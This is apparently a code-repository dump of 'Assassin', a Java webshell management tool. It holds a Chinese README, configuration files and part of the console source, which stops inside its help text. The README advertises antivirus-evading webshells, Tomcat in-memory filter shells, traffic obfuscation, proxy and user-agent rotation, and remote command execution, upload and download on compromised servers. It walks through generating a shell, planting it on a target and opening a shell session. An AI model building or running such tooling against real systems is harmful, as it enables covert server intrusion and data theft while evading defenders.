├── .gitignore
├── Assassin.jar
├── LICENSE
├── README.md
├── assets
├── 2021-11-23-14-26-25.png
├── 2021-11-23-14-27-20.png
├── 2021-11-23-16-26-42.png
├── 2021-11-23-16-47-25.png
├── 2021-11-23-16-51-06.png
├── 2021-11-23-17-08-53.png
├── 2021-11-23-17-12-14.png
├── 2021-11-23-17-18-56.png
├── 2021-11-23-18-22-07.png
├── 2021-11-23-18-26-04.png
├── 2021-11-23-19-52-59.png
├── 2021-11-23-19-53-56.png
├── 2021-11-23-20-00-26.png
├── 2021-11-23-20-06-56.png
├── 2021-11-23-20-08-19.png
├── 2021-11-23-20-14-14.png
├── 2021-11-23-20-25-16.png
├── 2021-11-23-20-27-15.png
└── 2021-11-23-20-28-04.png
├── config.json
├── ipagents.txt
├── pom.xml
├── src
└── main
│ └── java
│ └── org
│ └── b1ackc4t
│ ├── main
│ ├── Console.java
│ └── Main.java
│ ├── payload
│ └── java
│ │ ├── Download.java
│ │ ├── Print.java
│ │ ├── Rce.java
│ │ └── Upload.java
│ ├── sender
│ ├── Crypt.java
│ ├── PayloadClassVisitor.java
│ ├── PayloadGenerator.java
│ ├── PayloadMethodVisitor.java
│ └── Sender.java
│ ├── util
│ ├── Cmd.java
│ ├── Command.java
│ ├── Config.java
│ ├── DBManager.java
│ └── Utils.java
│ └── webshell
│ └── JavaTemplate.java
├── startup.bat
├── startup.sh
├── useragents.txt
└── webshell
└── java
├── common.txt
├── tomcat7_filter.txt
├── tomcat8_filter.txt
└── tomcat9_filter.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | # Project exclude paths
2 | /out/
3 | /target/
--------------------------------------------------------------------------------
/Assassin.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/Assassin.jar
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Assassin
2 |
3 | >Assassin是一款精简的基于命令行的webshell管理工具,它有着多种payload发送方式和编码方式,以及精简的payload代码,使得它成为隐蔽的暗杀者,难以被很好的防御。
4 |
5 | 工具短小精悍,生成的webshell能够过常见杀软,尽量减少了连接后交互的流量特征,具体payload发送方式均可自定义。由于个人精力有限,~~因为懒而且菜~~,服务端暂时仅支持Java。
6 |
7 | **声明:主要面向网络安全人员已授权的合法渗透或学生AWD等比赛使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担**
8 |
9 | ## 特点
10 |
11 | **[1]** 生成的webshell能过常见杀软(webshell模板可以自定义修改)
12 |
13 | **[2]** webshell仅1kb大小,客户端与服务端同类通信仅需加载一次字节码,后续流量只传送命令。
14 |
15 | **[3]** payload能够以get、post、cookie、mixed四种方式发送,可动态修改,流量迷惑性较强
16 |
17 | **[4]** 客户端与服务端交互流量支持多种编码方式,可动态修改
18 |
19 | **[5]** payload发送的参数名以及数量均可自定义,支持随机ip代理和user-agent
20 |
21 | ## 软件截图
22 |
23 | 软件类似于MSF的操作模式
24 |
25 | 
26 |
27 | 
28 |
29 | 
30 |
31 |
32 | ## 发送的payload流量示例
33 |
34 | 
35 |
36 | cookie:
37 | 
38 |
39 | post:
40 | 
41 |
42 | mixed:
43 | 
44 |
45 | get:
46 | 
47 |
48 | 除了cookie方式,get、post、mixed可以在已经建立连接后动态修改发送方式,无需更改服务端
49 |
50 | 请求编码:
51 | 1. base64
52 | 2. base36
53 | 3. hex
54 |
55 | 响应编码:
56 | 1. base64
57 | 2. raw
58 | 3. base36
59 | 4. hex
60 |
61 | 其中响应的编码方式可以动态修改
62 |
63 | ## 使用教程
64 |
65 | ### 适用版本
66 |
67 | 服务端:jre 1.5及以上
68 |
69 | 客户端:jdk 1.8及以上
70 |
71 | ### 配置文件
72 |
73 | ```json lines
74 | {
75 | "paramNames": ["user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"],
76 | // get、post、mixed请求参数名的随机池
77 | "cookieNames": ["fid", "uuid", "eid", "home", "ief", "fl", "oop"],
78 | // cookie请求参数名的随机池
79 | "headers":{
80 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
81 | "Accept-Encoding":"gzip, deflate, br",
82 | "Accept-Language":"Accept-Language: zh-CN,zh;q=0.9",
83 | "Upgrade-Insecure-Requests": "1"
84 | },
85 | // http头部
86 | "partNum": 3,
87 | // payload首次发送的分块数量
88 | "argNum": 5,
89 | // 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
90 | "startRandomUserAgent": false,
91 | // 是否随机useragent
92 | "startIpAgents": false,
93 | // 是否开启ip池代理模式
94 | "startColor": true
95 | // 是否启用命令行颜色
96 | }
97 | ```
98 |
99 | 随机useragent采用./useragents.txt里的useragent,开启后每次请求都会更换useragent,一般配合ip代理使用,关闭时是每次用session命令启动一个webshell会话一个useragent。
100 |
101 | ip代理池使用./ipagents.txt,格式为```ip:posr;username:password```,不需要认证的话```ip:port```就可以了,开启后每次请求会从中选择一个代理。
102 |
103 | **Tip:windows用户启动后乱码请关闭"startColor",或者使用Windows Terminal启动**
104 |
105 | ### 帮助信息
106 |
107 | 所有命令使用都比较简单,可以通过help命令查看参数
108 |
109 | 
110 |
111 | ```help [command]``` 查看具体命令的帮助
112 |
113 | 
114 |
115 | ### 实例
116 |
117 | 用startup.bat或startup.sh启动
118 |
119 | ```bash
120 | new java 123 cookie
121 | # 生成密码为123 发送方式为cookie的普通jsp木马
122 | new java pass post reqEncode=base36 tamper=tomcat9_filter
123 | # 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马
124 | ```
125 | **Tips:add和new命令参数比较多,中括号包裹的可选参数还可以用key=value的方式赋值**
126 |
127 | 之后会弹出窗口选择保存位置
128 |
129 | 
130 |
131 | 将webshell上到目标服务器
132 |
133 | ```bash
134 | add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
135 | # 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36
136 | ```
137 | ```show```查看ID号
138 | 
139 |
140 | ```session 1```连接webshell
141 |
142 | 
143 |
144 | 看到提示符发生变化就可以执行webshell controller commands的命令了!
145 | ```bash
146 | Assassin|java >getshell
147 | Assassin|java|C:\apache-tomcat-9.0.54\bin >dir
148 | ```
149 |
150 | 上传文件
151 |
152 | ```bash
153 | upload # 没参数默认传到当前目录
154 | ```
155 |
156 | 
157 |
158 | 选择文件即可上传
159 |
160 | ```download ./test.txt```同理
161 |
162 | 
163 |
164 | 
165 |
166 | ### 编写webshell模板tamper
167 |
168 | 
169 |
170 | 第一个部分用{@key}填充,代表 webshell密码
171 |
172 | 第二个部分用{@getvalue}填充,代表 获取请求payload的代码
173 |
174 | 第三个部分用{@decode}填充,代表 解码代码
175 |
176 | 模板如下:
177 |
178 | ```java
179 | String k="{@key}";// aes密钥 123456 md5的前16位
180 | String r = ""; //密文payload存放位置,这个参数名必须为r,其他的无所谓
181 | // 取密文
182 | {@getvalue}
183 | byte[] cText = {@decode};
184 | ```
185 |
186 | 其他主要逻辑不改,就可以成功连接。
187 |
188 | **实例**
189 |
190 | 请看webshell/java/下的tomcat的filter内存马模板
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
--------------------------------------------------------------------------------
/assets/2021-11-23-14-26-25.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-14-26-25.png
--------------------------------------------------------------------------------
/assets/2021-11-23-14-27-20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-14-27-20.png
--------------------------------------------------------------------------------
/assets/2021-11-23-16-26-42.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-16-26-42.png
--------------------------------------------------------------------------------
/assets/2021-11-23-16-47-25.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-16-47-25.png
--------------------------------------------------------------------------------
/assets/2021-11-23-16-51-06.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-16-51-06.png
--------------------------------------------------------------------------------
/assets/2021-11-23-17-08-53.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-17-08-53.png
--------------------------------------------------------------------------------
/assets/2021-11-23-17-12-14.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-17-12-14.png
--------------------------------------------------------------------------------
/assets/2021-11-23-17-18-56.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-17-18-56.png
--------------------------------------------------------------------------------
/assets/2021-11-23-18-22-07.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-18-22-07.png
--------------------------------------------------------------------------------
/assets/2021-11-23-18-26-04.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-18-26-04.png
--------------------------------------------------------------------------------
/assets/2021-11-23-19-52-59.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-19-52-59.png
--------------------------------------------------------------------------------
/assets/2021-11-23-19-53-56.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-19-53-56.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-00-26.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-00-26.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-06-56.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-06-56.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-08-19.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-08-19.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-14-14.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-14-14.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-25-16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-25-16.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-27-15.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-27-15.png
--------------------------------------------------------------------------------
/assets/2021-11-23-20-28-04.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-28-04.png
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "paramNames": ["user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"],
3 | "cookieNames": ["fid", "uuid", "eid", "home", "ief", "fl", "oop"],
4 | "headers":{
5 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
6 | "Accept-Encoding":"gzip, deflate, br",
7 | "Accept-Language":"Accept-Language: zh-CN,zh;q=0.9",
8 | "Upgrade-Insecure-Requests": "1"
9 | },
10 | "partNum": 3,
11 | "argNum": 5,
12 | "startRandomUserAgent": false,
13 | "startIpAgents": false,
14 | "startColor": true
15 | }
--------------------------------------------------------------------------------
/ipagents.txt:
--------------------------------------------------------------------------------
1 | 10.100.100.1:8080;username:password
2 | 10.100.100.2:5050;username:password
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.blackcat
8 | Blackcat
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 | 9.0
15 |
16 |
17 |
18 |
19 |
20 | org.junit.jupiter
21 | junit-jupiter-api
22 | 5.7.2
23 | test
24 |
25 |
26 |
27 | org.xerial
28 | sqlite-jdbc
29 | 3.34.0
30 |
31 |
32 |
33 | javax.servlet
34 | javax.servlet-api
35 | 4.0.1
36 | provided
37 |
38 |
39 | org.ow2.asm
40 | asm
41 | ${asm.version}
42 |
43 |
44 |
45 | com.alibaba
46 | fastjson
47 | 1.2.78
48 |
49 |
50 |
51 | org.apache.tomcat
52 | tomcat-catalina
53 | 9.0.54
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/src/main/java/org/b1ackc4t/main/Console.java:
--------------------------------------------------------------------------------
1 | package org.b1ackc4t.main;
2 |
3 | import com.alibaba.fastjson.JSONObject;
4 |
5 | import java.io.File;
6 | import java.nio.charset.Charset;
7 | import java.nio.charset.StandardCharsets;
8 | import java.sql.SQLException;
9 | import java.util.*;
10 |
11 | import org.b1ackc4t.sender.Crypt;
12 | import org.b1ackc4t.util.*;
13 | import org.b1ackc4t.sender.Sender;
14 | import org.b1ackc4t.webshell.JavaTemplate;
15 |
16 | import javax.swing.JFileChooser;
17 |
18 | public class Console extends Cmd {
19 |
20 | private DBManager db;
21 | private int session_id;
22 | private Sender sender;
23 | private final String label;
24 | private String current_path;
25 | private String os;
26 | private String pathSep;
27 | private String type;
28 | private final String[] commands = {"Hello","Add","Help","Show","Delete","Session","Back", "Getshell", "Upload", "Download", "Reset", "New", "Set"};
29 | private final Map headers;
30 |
31 |
32 | public Console() {
33 | super();
34 | db = DBManager.db;
35 | headers = Config.headers;
36 | label = "Assassin";
37 | prompt = label + " >";
38 | session_id = 0;
39 | current_path = "";
40 | }
41 |
42 | public boolean doHello(String[] args, Map kwargs) {
43 | System.out.println("hello");
44 | return false;
45 | }
46 |
47 | /**
48 | * 添加一个webshell
49 | * @param args
50 | * @return
51 | */
52 | public boolean doAdd(String[] args, Map kwargs) {
53 | if (args == null || args.length < 2) {
54 | System.out.println("too few arguments");
55 | return false;
56 | }
57 |
58 | String shell_url = args[0];
59 | String pass = args[1];
60 | String type = (args.length > 2) ? args[2] : "java";
61 | String method = (args.length > 3) ? args[3] : "post";
62 | String reqEncode = (args.length > 4) ? args[4] : "base64";
63 | String resEncode = (args.length > 5) ? args[5] : "base64";
64 | String note = (args.length > 6) ? args[6] : "";
65 | type = kwargs.getOrDefault("type", type);
66 | method = kwargs.getOrDefault("method", method);
67 | reqEncode = kwargs.getOrDefault("reqencode", reqEncode);
68 | resEncode = kwargs.getOrDefault("resencode", resEncode);
69 | note = kwargs.getOrDefault("note", note);
70 | Sender sender_temp = new Sender(shell_url, pass, type, method, headers);
71 | sender_temp.reqEncode = reqEncode;
72 | sender_temp.resEncode = resEncode;
73 | if (db.isExist(shell_url)){
74 | System.out.println("webshell already exists");
75 | return false;
76 | }
77 | if (sender_temp.testCon()) {
78 | try {
79 | db.addWebshell(shell_url, pass, type, method, reqEncode, resEncode, note);
80 | int id_temp = db.getEndID();
81 | db.changeShell(id_temp, "status", "1");
82 | System.out.println("OK");
83 | } catch (SQLException | ClassNotFoundException e) {
84 | e.printStackTrace();
85 | }
86 | } else {
87 | System.out.println("Connection Failure");
88 | }
89 | return false;
90 | }
91 |
92 | /**
93 | * 展示所有webshell列表
94 | * @param args
95 | * @return
96 | */
97 | public boolean doShow(String[] args, Map kwargs) {
98 | try {
99 | db.showAll();
100 | } catch (ClassNotFoundException | SQLException e) {
101 | e.printStackTrace();
102 | }
103 | return false;
104 | }
105 |
106 | public boolean doDelete(String[] args, Map kwargs) {
107 | if (args == null || args.length < 1) {
108 | System.out.println("too few arguments");
109 | return false;
110 | }
111 | int id = Integer.parseInt(args[0]);
112 | try {
113 | db.deleteWebShell(id);
114 | System.out.println("OK");
115 | } catch (SQLException | ClassNotFoundException e) {
116 | System.out.println("ID does not exist");
117 | }
118 | return false;
119 | }
120 |
121 | public boolean doSet(String[] args, Map kwargs) {
122 | if (args == null || args.length < 3) {
123 | System.out.println("too few arguments");
124 | return false;
125 | }
126 | int id = Integer.parseInt(args[0]);
127 | String key = args[1];
128 | String newValue = args[2];
129 | if (db.changeShell(id, key, newValue)) {
130 | System.out.println("OK");
131 | } else {
132 | System.out.println("fail");
133 | }
134 | return false;
135 | }
136 |
137 | /**
138 | * 展示帮助信息
139 | * @param args
140 | * @return
141 | */
142 | public boolean doHelp(String[] args, Map kwargs) {
143 |
144 | if (args != null && args.length > 0) {
145 | switch (args[0]) {
146 | case "new":
147 | System.out.println("Usage:");
148 | System.out.println("\t" + Config.getYColor("new")+ " java|php|asp password [method] [reqEncode] [tamper]");
149 | System.out.println("=================================================");
150 | System.out.println("generate webshell, only java temporarily");
151 | System.out.println(Config.getYColor("method:") + " Sending mode of payload(value: get|post|mixed|cookie)");
152 | System.out.println(Config.getYColor("reqEncode:") + " request encoding(value: hex|base36|base64_1|base64_2)");
153 | System.out.println("\tbase64_1 only support server java version <= 1.8");
154 | System.out.println(Config.getYColor("tamper:") + " Predefined template");
155 | System.out.format("%15s%s --%s%n", "value: ", "common.txt (default)", "common webshell");
156 | System.out.format("%15s%s --%s%n", "", "tomcat7_filter.txt", "memory webshell for tomcat7");
157 | System.out.format("%15s%s --%s%n", "", "tomcat8_filter.txt", "memory webshell for tomcat8");
158 | System.out.format("%15s%s --%s%n", "", "tomcat9_filter.txt", "memory webshell for tomcat9");
159 | System.out.format("%15s%s%n", "", "You can write your own tamper in './webshell'");
160 | System.out.println("=================================================");
161 | System.out.println("Example:");
162 | System.out.println("\t" + Config.getYColor("new") + " java 123456 post reqEncode=base36");
163 | break;
164 | case "upload":
165 | System.out.println("Usage:");
166 | System.out.println("\t" + Config.getYColor("upload") + " [remotePath]");
167 | System.out.println("=================================================");
168 | System.out.println("Upload the file to the server, can only be used after obtaining session.");
169 | System.out.println(Config.getYColor("remotePath:") + " Server target filepath(default: Current path)");
170 | System.out.println("=================================================");
171 | System.out.println("Example:");
172 | System.out.println("\t" + Config.getYColor("upload") + " /var/www/html/1.txt");
173 | break;
174 | case "download":
175 | System.out.println("Usage:");
176 | System.out.println("\t" + Config.getYColor("download") + " remotePath");
177 | System.out.println("=================================================");
178 | System.out.println("Download the server file, can only be used after obtaining session.");
179 | System.out.println(Config.getYColor("remotePath:") + " Server target filepath");
180 | System.out.println("=================================================");
181 | System.out.println("Example:");
182 | System.out.println("\t" + Config.getYColor("download") + " /var/www/html/1.txt");
183 | break;
184 | case "add":
185 | System.out.println("Usage:");
186 | System.out.format("\t" + Config.getYColor("add"));
187 | System.out.println(" url password [type] [method] [reqEncode] [resEncode] [note]");
188 | System.out.println("=================================================");
189 | System.out.println("add a webshell to db");
190 | System.out.println(Config.getYColor("url:") + " target webshell url");
191 | System.out.println(Config.getYColor("password:") + " target webshell password");
192 | System.out.println(Config.getYColor("type:") + " webshell type(default: java;value: java)");
193 | System.out.println(Config.getYColor("method:") + " Payload sending mode(default: post;value: get|post|mixed|cookie)");
194 | System.out.println(Config.getYColor("reqEncode:") + " Payload request encoding(default: base64;value: hex|base36|base64)");
195 | System.out.println(Config.getYColor("resEncode:") + " Payload response encoding(default: base64;value: raw|hex|base36|base64)");
196 | System.out.println("=================================================");
197 | System.out.println("Example:");
198 | System.out.format("\t" + Config.getYColor("add"));
199 | System.out.println(" http://127.0.0.1/a.jsp 123 java get hex");
200 | System.out.format("\t" + Config.getYColor("add"));
201 | System.out.println(" http://127.0.0.1/a.jsp 123 java method=cookie resEncode=base36");
202 | break;
203 | case "session":
204 | System.out.println("Usage:");
205 | System.out.println("\t" + Config.getYColor("session") + " id");
206 | System.out.println("=================================================");
207 | System.out.println("Enter a webshell operation mode.");
208 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')");
209 | System.out.println("=================================================");
210 | System.out.println("Example:");
211 | System.out.println("\t" + Config.getYColor("session") + " 1");
212 | break;
213 | case "set":
214 | System.out.println("Usage:");
215 | System.out.println("\t" + Config.getYColor("set") + " id key value");
216 | System.out.println("=================================================");
217 | System.out.println("modify params of webshell of db");
218 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')");
219 | System.out.println(Config.getYColor("key:") + " db's key");
220 | System.out.println(Config.getYColor("value:") + " db's new value");
221 | System.out.println("=================================================");
222 | System.out.println("Example:");
223 | System.out.println("\t" + Config.getYColor("set") + " 1 resEncode base36");
224 | break;
225 | case "reset":
226 | System.out.println("Usage:");
227 | System.out.println("\t" + Config.getYColor("reset") + " id");
228 | System.out.println("=================================================");
229 | System.out.println("reset a webshell. Reload payload class information");
230 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')");
231 | System.out.println("=================================================");
232 | System.out.println("Example:");
